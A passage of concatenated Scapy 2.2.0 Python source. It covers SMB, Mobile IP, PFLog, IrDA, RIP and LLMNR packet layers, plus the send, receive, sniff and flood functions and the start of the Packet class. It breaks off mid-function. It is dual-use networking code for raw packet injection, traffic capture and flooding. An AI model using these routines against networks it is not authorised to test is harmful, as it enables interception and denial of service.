ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",13), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",96), LEShortField("MaxBufferS",2920), LEShortField("MaxMPXCount",50), LEShortField("VCNumber",0), LEIntField("SessionKey",0), LEFieldLenField("ANSIPasswordLength",None,"ANSIPassword"), LEShortField("UnicodePasswordLength",0), LEIntField("Reserved3",0), LEShortField("ServerCapabilities",0x05), BitField("UnixExtensions",0,1), BitField("Reserved4",0,7), BitField("ExtendedSecurity",0,1), BitField("CompBulk",0,2), BitField("Reserved5",0,5), LEShortField("ByteCount",35), StrLenField("ANSIPassword", "Pass",length_from=lambda x:x.ANSIPasswordLength), StrNullField("Account","GUEST"), StrNullField("PrimaryDomain", ""), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), ByteField("WordCount2",4), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved6",0), LEShortField("AndXOffset2",0), LEShortField("Flags3",0x2), LEShortField("PasswordLength",0x1), LEShortField("ByteCount2",18), ByteField("Password",0), StrNullField("Path","\\\\WIN2K\\IPC$"), StrNullField("Service","IPC")] # Session Setup AndX Response class SMBSession_Setup_AndX_Response(Packet): name="Session Setup AndX Response" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x90), LEShortField("Flags2",0x1001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",3), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",66), LEShortField("Action",0), LEShortField("ByteCount",25), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), StrNullField("PrimaryDomain",""), ByteField("WordCount2",3), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved3",0), LEShortField("AndXOffset2",80), LEShortField("OptionalSupport",0x01), LEShortField("ByteCount2",5), StrNullField("Service","IPC"), StrNullField("NativeFileSystem","")] bind_layers( NBTSession, SMBNegociate_Protocol_Request_Header, ) bind_layers( NBTSession, SMBNegociate_Protocol_Response_Advanced_Security, ExtendedSecurity=1) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security, ExtendedSecurity=0, EncryptionKeyLength=8) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0) bind_layers( NBTSession, SMBSession_Setup_AndX_Request, ) bind_layers( NBTSession, SMBSession_Setup_AndX_Response, ) bind_layers( SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, ) bind_layers( SMBNegociate_Protocol_Request_Tail, SMBNegociate_Protocol_Request_Tail, ) scapy-2.2.0/scapy/layers/mobileip.py0000644000175000017500000000315211430356075015535 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Mobile IP. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP,UDP class MobileIP(Packet): name = "Mobile IP (RFC3344)" fields_desc = [ ByteEnumField("type", 1, {1:"RRQ", 3:"RRP"}) ] class MobileIPRRQ(Packet): name = "Mobile IP Registration Request (RFC3344)" fields_desc = [ XByteField("flags", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), IPField("coaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPRRP(Packet): name = "Mobile IP Registration Reply (RFC3344)" fields_desc = [ ByteField("code", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPTunnelData(Packet): name = "Mobile IP Tunnel Data Message (RFC3519)" fields_desc = [ ByteField("nexthdr", 4), ShortField("res", 0) ] bind_layers( UDP, MobileIP, sport=434) bind_layers( UDP, MobileIP, dport=434) bind_layers( MobileIP, MobileIPRRQ, type=1) bind_layers( MobileIP, MobileIPRRP, type=3) bind_layers( MobileIP, MobileIPTunnelData, type=4) bind_layers( MobileIPTunnelData, IP, nexthdr=4) scapy-2.2.0/scapy/layers/pflog.py0000644000175000017500000000555011430356075015050 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PFLog: OpenBSD PF packet filter logging. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP if conf.ipv6_enabled: from scapy.layers.inet6 import IPv6 from scapy.config import conf class PFLog(Packet): name = "PFLog" # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h fields_desc = [ ByteField("hdrlen", 0), ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4", socket.AF_INET6: "IPv6"}), ByteEnumField("action", 1, {0: "pass", 1: "drop", 2: "scrub", 3: "no-scrub", 4: "nat", 5: "no-nat", 6: "binat", 7: "no-binat", 8: "rdr", 9: "no-rdr", 10: "syn-proxy-drop" }), ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", 2: "fragment", 3: "short", 4: "normalize", 5: "memory", 6: "bad-timestamp", 7: "congestion", 8: "ip-options", 9: "proto-cksum", 10: "state-mismatch", 11: "state-insert", 12: "state-limit", 13: "src-limit", 14: "syn-proxy" }), StrFixedLenField("iface", "", 16), StrFixedLenField("ruleset", "", 16), SignedIntField("rulenumber", 0), SignedIntField("subrulenumber", 0), SignedIntField("uid", 0), IntField("pid", 0), SignedIntField("ruleuid", 0), IntField("rulepid", 0), ByteEnumField("direction", 255, {0: "inout", 1: "in", 2:"out", 255: "unknown"}), StrFixedLenField("pad", "\x00\x00\x00", 3 ) ] def mysummary(self): return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") bind_layers(PFLog, IP, addrfamily=socket.AF_INET) if conf.ipv6_enabled: bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6) conf.l2types.register(117, PFLog) scapy-2.2.0/scapy/layers/ir.py0000644000175000017500000000263111430356075014350 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ IrDA infrared data communication. """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import CookedLinux # IR class IrLAPHead(Packet): name = "IrDA Link Access Protocol Header" fields_desc = [ XBitField("Address", 0x7f, 7), BitEnumField("Type", 1, 1, {"Response":0, "Command":1})] class IrLAPCommand(Packet): name = "IrDA Link Access Protocol Command" fields_desc = [ XByteField("Control", 0), XByteField("Format identifier", 0), XIntField("Source address", 0), XIntField("Destination address", 0xffffffffL), XByteField("Discovery flags", 0x1), ByteEnumField("Slot number", 255, {"final":255}), XByteField("Version", 0)] class IrLMP(Packet): name = "IrDA Link Management Protocol" fields_desc = [ XShortField("Service hints", 0), XByteField("Character set", 0), StrField("Device name", "") ] bind_layers( CookedLinux, IrLAPHead, proto=23) bind_layers( IrLAPHead, IrLAPCommand, Type=1) bind_layers( IrLAPCommand, IrLMP, ) scapy-2.2.0/scapy/layers/rip.py0000644000175000017500000000531711532577271014542 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RIP (Routing Information Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP class RIP(Packet): name = "RIP header" fields_desc = [ ByteEnumField("cmd", 1, {1:"req", 2:"resp", 3:"traceOn", 4:"traceOff", 5:"sun", 6:"trigReq", 7:"trigResp", 8:"trigAck", 9:"updateReq", 10:"updateResp", 11:"updateAck"}), ByteField("version", 1), ShortField("null", 0), ] def guess_payload_class(self, payload): if payload[:2] == "\xff\xff": return RIPAuth else: return Packet.guess_payload_class(self, payload) class RIPEntry(RIP): name = "RIP entry" fields_desc = [ ShortEnumField("AF", 2, {2:"IP"}), ShortField("RouteTag", 0), IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), IPField("nextHop", "0.0.0.0"), IntEnumField("metric", 1, {16:"Unreach"}), ] class RIPAuth(Packet): name = "RIP authentication" fields_desc = [ ShortEnumField("AF", 0xffff, {0xffff:"Auth"}), ShortEnumField("authtype", 2, {1:"md5authdata", 2:"simple", 3:"md5"}), ConditionalField(StrFixedLenField("password", None, 16), lambda pkt: pkt.authtype == 2), ConditionalField(ShortField("digestoffset", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("keyid", 0), lambda pkt: pkt.authtype == 3), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 3), ConditionalField(IntField("seqnum", 0), lambda pkt: pkt.authtype == 3), ConditionalField(StrFixedLenField("zeropad", None, 8), lambda pkt: pkt.authtype == 3), ConditionalField(StrLenField("authdata", None, length_from=lambda pkt: pkt.md5datalen), lambda pkt: pkt.authtype == 1) ] def pre_dissect(self, s): if s[2:4] == "\x00\x01": self.md5datalen = len(s) - 4 return s bind_layers( UDP, RIP, sport=520) bind_layers( UDP, RIP, dport=520) bind_layers( RIP, RIPEntry, ) bind_layers( RIPEntry, RIPEntry, ) bind_layers( RIPAuth, RIPEntry, ) scapy-2.2.0/scapy/layers/llmnr.py0000644000175000017500000000454711430356075015072 0ustar pbipbifrom scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField """ LLMNR (Link Local Multicast Node Resolution). [RFC 4795] """ ############################################################################# ### LLMNR (RFC4795) ### ############################################################################# # LLMNR is based on the DNS packet format (RFC1035 Section 4) # RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno _LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" _LLMNR_IPv4_mcast_addr = "224.0.0.252" class LLMNRQuery(Packet): name = "Link Local Multicast Node Resolution - Query" fields_desc = [ ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, { 0:"QUERY" }), BitField("c", 0, 1), BitField("tc", 0, 2), BitField("z", 0, 4), BitEnumField("rcode", 0, 4, { 0:"ok" }), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0)] overload_fields = {UDP: {"sport": 5355, "dport": 5355 }} def hashret(self): return struct.pack("!H", self.id) class LLMNRResponse(LLMNRQuery): name = "Link Local Multicast Node Resolution - Response" qr = 1 fields_desc = [] def answers(self, other): return (isinstance(other, LLMNRQuery) and self.id == other.id and self.qr == 1 and other.qr == 0) def _llmnr_dispatcher(x, *args, **kargs): cls = Raw if len(x) >= 3: if (ord(x[4]) & 0x80): # Response cls = LLMNRResponse else: # Query cls = LLMNRQuery return cls(x, *args, **kargs) bind_bottom_up(UDP, _llmnr_dispatcher, { "dport": 5355 }) bind_bottom_up(UDP, _llmnr_dispatcher, { "sport": 5355 }) # LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) scapy-2.2.0/scapy/sendrecv.py0000644000175000017500000005201611430356077014254 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Functions to send and receive packets. """ import cPickle,os,sys,time,subprocess from select import select from data import * import arch from config import conf from packet import Gen from utils import warning,get_temp_file,PcapReader import plist from error import log_runtime,log_interactive from base_classes import SetGen ################# ## Debug class ## ################# class debug: recv=[] sent=[] match=[] #################### ## Send / Receive ## #################### def sndrcv(pks, pkt, timeout = None, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout < 0: timeout = None rdpipe,wrpipe = os.pipe() rdpipe=os.fdopen(rdpipe) wrpipe=os.fdopen(wrpipe,"w") pid=1 try: pid = os.fork() if pid == 0: try: sys.stdin.close() rdpipe.close() try: i = 0 if verbose: print "Begin emission:" for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print "Finished to send %i packets." % i except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error in child %i" % os.getpid()) log_runtime.info("--- Error in child %i" % os.getpid()) finally: try: os.setpgrp() # Chance process group to avoid ctrl-C sent_times = [p.sent_time for p in all_stimuli if p.sent_time] cPickle.dump( (conf.netcache,sent_times), wrpipe ) wrpipe.close() except: pass elif pid < 0: log_runtime.error("fork error") else: wrpipe.close() stoptime = 0 remaintime = None inmask = [rdpipe,pks] try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = None if arch.FREEBSD or arch.DARWIN: inp, out, err = select(inmask,[],[], 0.05) if len(inp) == 0 or pks in inp: r = pks.nonblock_recv() else: inp, out, err = select(inmask,[],[], remaintime) if len(inp) == 0: break if pks in inp: r = pks.recv(MTU) if rdpipe in inp: if timeout: stoptime = time.time()+timeout del(inmask[inmask.index(rdpipe)]) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i in range(len(hlst)): if r.answers(hlst[i]): ans.append((hlst[i],r)) if verbose > 1: os.write(1, "*") ok = 1 if not multi: del(hlst[i]) notans -= 1; else: if not hasattr(hlst[i], '_answered'): notans -= 1; hlst[i]._answered = 1; break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, ".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: try: nc,sent_times = cPickle.load(rdpipe) except EOFError: warning("Child died unexpectedly. Packets may have not been sent %i"%os.getpid()) else: conf.netcache.update(nc) for p,t in zip(all_stimuli, sent_times): p.sent_time = t os.waitpid(pid,0) finally: if pid == 0: os._exit(0) remain = reduce(list.__add__, hsent.values(), []) if multi: remain = filter(lambda p: not hasattr(p, '_answered'), remain); if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print "\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs): if type(x) is str: x = Raw(load=x) if not isinstance(x, Gen): x = SetGen(x) if verbose is None: verbose = conf.verb n = 0 if count is not None: loop = -count elif not loop: loop=-1 dt0 = None try: while loop: for p in x: if realtime: ct = time.time() if dt0: st = dt0+p.time-ct if st > 0: time.sleep(st) else: dt0 = ct-p.time s.send(p) n += 1 if verbose: os.write(1,".") time.sleep(inter) if loop < 0: loop += 1 except KeyboardInterrupt: pass s.close() if verbose: print "\nSent %i packets." % n @conf.commands.register def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs): """Send packets at layer 3 send(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" __gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime) @conf.commands.register def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, *args, **kargs): """Send packets at layer 2 sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] __gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime) @conf.commands.register def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with realtime value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration iface: output interface """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%i" % mbps) elif realtime is not None: argv.append("--multiplier=%i" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--enable-file-cache") f = get_temp_file() argv.append(f) wrpcap(f, x) try: subprocess.check_call(argv) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception,e: log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e)) finally: os.unlink(f) @conf.commands.register def sr(x,filter=None, iface=None, nofilter=0, *args,**kargs): """Send and receive packets at layer 3 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) a,b=sndrcv(s,x,*args,**kargs) s.close() return a,b @conf.commands.register def sr1(x,filter=None,iface=None, nofilter=0, *args,**kargs): """Send packets at layer 3 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 s=conf.L3socket(filter=filter, nofilter=nofilter, iface=iface) a,b=sndrcv(s,x,*args,**kargs) s.close() if len(a) > 0: return a[0][1] else: return None @conf.commands.register def srp(x,iface=None, iface_hint=None, filter=None, nofilter=0, type=ETH_P_ALL, *args,**kargs): """Send and receive packets at layer 2 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type) a,b=sndrcv(s ,x,*args,**kargs) s.close() return a,b @conf.commands.register def srp1(*args,**kargs): """Send and receive packets at layer 2 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 a,b=srp(*args,**kargs) if len(a) > 0: return a[0][1] else: return None def __sr_loop(srfunc, pkts, prn=lambda x:x[1].summary(), prnfail=lambda x:x.summary(), inter=1, timeout=None, count=None, verbose=None, store=1, *args, **kargs): n = 0 r = 0 ct = conf.color_theme if verbose is None: verbose = conf.verb parity = 0 ans=[] unans=[] if timeout is None: timeout = min(2*inter, 5) try: while 1: parity ^= 1 col = [ct.even,ct.odd][parity] if count is not None: if count == 0: break count -= 1 start = time.time() print "\rsend...\r", res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=1, *args, **kargs) n += len(res[0])+len(res[1]) r += len(res[0]) if verbose > 1 and prn and len(res[0]) > 0: msg = "RECV %i:" % len(res[0]) print "\r"+ct.success(msg), for p in res[0]: print col(prn(p)) print " "*len(msg), if verbose > 1 and prnfail and len(res[1]) > 0: msg = "fail %i:" % len(res[1]) print "\r"+ct.fail(msg), for p in res[1]: print col(prnfail(p)) print " "*len(msg), if verbose > 1 and not (prn or prnfail): print "recv:%i fail:%i" % tuple(map(len, res[:2])) if store: ans += res[0] unans += res[1] end=time.time() if end-start < inter: time.sleep(inter+start-end) except KeyboardInterrupt: pass if verbose and n>0: print ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n,r,100.0*r/n)) return plist.SndRcvList(ans),plist.PacketList(unans) @conf.commands.register def srloop(pkts, *args, **kargs): """Send a packet at layer 3 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(sr, pkts, *args, **kargs) @conf.commands.register def srploop(pkts, *args, **kargs): """Send a packet at layer 2 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(srp, pkts, *args, **kargs) def sndrcvflood(pks, pkt, prn=lambda (s,r):r.summary(), chainCC=0, store=1, unique=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) tobesent = [p for p in pkt] received = plist.SndRcvList() seen = {} hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] def send_in_loop(tobesent): while 1: for p in tobesent: yield p packets_to_send = send_in_loop(tobesent) ssock = rsock = pks.fileno() try: while 1: readyr,readys,_ = select([rsock],[ssock],[]) if ssock in readys: pks.send(packets_to_send.next()) if rsock in readyr: p = pks.recv(MTU) if p is None: continue h = p.hashret() if h in hsent: hlst = hsent[h] for i in hlst: if p.answers(i): res = prn((i,p)) if unique: if res in seen: continue seen[res] = None if res is not None: print res if store: received.append((i,p)) except KeyboardInterrupt: if chainCC: raise return received @conf.commands.register def srflood(x,filter=None, iface=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 3 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def srpflood(x,filter=None, iface=None, iface_hint=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 2 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def sniff(count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket opened_socket: provide an object ready to use .recv() on stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) """ c = 0 if opened_socket is not None: s = opened_socket else: if offline is None: if L2socket is None: L2socket = conf.L2listen s = L2socket(type=ETH_P_ALL, *arg, **karg) else: s = PcapReader(offline) lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None while 1: try: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break sel = select([s],[],[],remain) if s in sel[0]: p = s.recv(MTU) if p is None: break if lfilter and not lfilter(p): continue if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print r if stop_filter and stop_filter(p): break if count > 0 and c >= count: break except KeyboardInterrupt: break if opened_socket is None: s.close() return plist.PacketList(lst,"Sniffed") @conf.commands.register def tshark(*args,**kargs): """Sniff packets and print them calling pkt.show(), a bit like text wireshark""" sniff(prn=lambda x: x.display(),*args,**kargs) scapy-2.2.0/scapy/packet.py0000644000175000017500000012613611431745456013723 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet class. Binding mechanism. fuzz() method. """ import time,itertools,os import copy from fields import StrField,ConditionalField,Emph,PacketListField from config import conf from base_classes import BasePacket,Gen,SetGen,Packet_metaclass,NewDefaultValues from volatile import VolatileValue from utils import import_hexcap,tex_escape,colgen,get_temp_file from error import Scapy_Exception,log_runtime try: import pyx except ImportError: pass class RawVal: def __init__(self, val=""): self.val = val def __str__(self): return str(self.val) def __repr__(self): return "" % self.val class Packet(BasePacket): __metaclass__ = Packet_metaclass name=None fields_desc = [] aliastypes = [] overload_fields = {} underlayer = None payload_guess = [] initialized = 0 show_indent=1 explicit = 0 @classmethod def from_hexcap(cls): return cls(import_hexcap()) @classmethod def upper_bonds(self): for fval,upper in self.payload_guess: print "%-20s %s" % (upper.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.iteritems())) @classmethod def lower_bonds(self): for lower,fval in self.overload_fields.iteritems(): print "%-20s %s" % (lower.__name__, ", ".join("%-12s" % ("%s=%r"%i) for i in fval.iteritems())) def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): self.time = time.time() self.sent_time = 0 if self.name is None: self.name = self.__class__.__name__ self.aliastypes = [ self.__class__ ] + self.aliastypes self.default_fields = {} self.overloaded_fields = {} self.fields={} self.fieldtype={} self.packetfields=[] self.__dict__["payload"] = NoPayload() self.init_fields() self.underlayer = _underlayer self.initialized = 1 if _pkt: self.dissect(_pkt) if not _internal: self.dissection_done(self) for f in fields.keys(): self.fields[f] = self.get_field(f).any2i(self,fields[f]) if type(post_transform) is list: self.post_transforms = post_transform elif post_transform is None: self.post_transforms = [] else: self.post_transforms = [post_transform] def init_fields(self): self.do_init_fields(self.fields_desc) def do_init_fields(self, flist): for f in flist: self.default_fields[f.name] = copy.deepcopy(f.default) self.fieldtype[f.name] = f if f.holds_packets: self.packetfields.append(f) def dissection_done(self,pkt): """DEV: will be called after a dissection is completed""" self.post_dissection(pkt) self.payload.dissection_done(pkt) def post_dissection(self, pkt): """DEV: is called after the dissection of the whole packet""" pass def get_field(self, fld): """DEV: returns the field instance from the name of the field""" return self.fieldtype[fld] def add_payload(self, payload): if payload is None: return elif not isinstance(self.payload, NoPayload): self.payload.add_payload(payload) else: if isinstance(payload, Packet): self.__dict__["payload"] = payload payload.add_underlayer(self) for t in self.aliastypes: if payload.overload_fields.has_key(t): self.overloaded_fields = payload.overload_fields[t] break elif type(payload) is str: self.__dict__["payload"] = conf.raw_layer(load=payload) else: raise TypeError("payload must be either 'Packet' or 'str', not [%s]" % repr(payload)) def remove_payload(self): self.payload.remove_underlayer(self) self.__dict__["payload"] = NoPayload() self.overloaded_fields = {} def add_underlayer(self, underlayer): self.underlayer = underlayer def remove_underlayer(self,other): self.underlayer = None def copy(self): """Returns a deep copy of the instance.""" clone = self.__class__() clone.fields = self.fields.copy() for k in clone.fields: clone.fields[k]=self.get_field(k).do_copy(clone.fields[k]) clone.default_fields = self.default_fields.copy() clone.overloaded_fields = self.overloaded_fields.copy() clone.overload_fields = self.overload_fields.copy() clone.underlayer=self.underlayer clone.explicit=self.explicit clone.post_transforms=self.post_transforms[:] clone.__dict__["payload"] = self.payload.copy() clone.payload.add_underlayer(clone) return clone def getfieldval(self, attr): if attr in self.fields: return self.fields[attr] if attr in self.overloaded_fields: return self.overloaded_fields[attr] if attr in self.default_fields: return self.default_fields[attr] return self.payload.getfieldval(attr) def getfield_and_val(self, attr): if attr in self.fields: return self.get_field(attr),self.fields[attr] if attr in self.overloaded_fields: return self.get_field(attr),self.overloaded_fields[attr] if attr in self.default_fields: return self.get_field(attr),self.default_fields[attr] return self.payload.getfield_and_val(attr) def __getattr__(self, attr): if self.initialized: fld,v = self.getfield_and_val(attr) if fld is not None: return fld.i2h(self, v) return v raise AttributeError(attr) def setfieldval(self, attr, val): if self.default_fields.has_key(attr): fld = self.get_field(attr) if fld is None: any2i = lambda x,y: y else: any2i = fld.any2i self.fields[attr] = any2i(self, val) self.explicit=0 elif attr == "payload": self.remove_payload() self.add_payload(val) else: self.payload.setfieldval(attr,val) def __setattr__(self, attr, val): if self.initialized: try: self.setfieldval(attr,val) except AttributeError: pass else: return self.__dict__[attr] = val def delfieldval(self, attr): if self.fields.has_key(attr): del(self.fields[attr]) self.explicit=0 # in case a default value must be explicited elif self.default_fields.has_key(attr): pass elif attr == "payload": self.remove_payload() else: self.payload.delfieldval(attr) def __delattr__(self, attr): if self.initialized: try: self.delfieldval(attr) except AttributeError: pass else: return if self.__dict__.has_key(attr): del(self.__dict__[attr]) else: raise AttributeError(attr) def __repr__(self): s = "" ct = conf.color_theme for f in 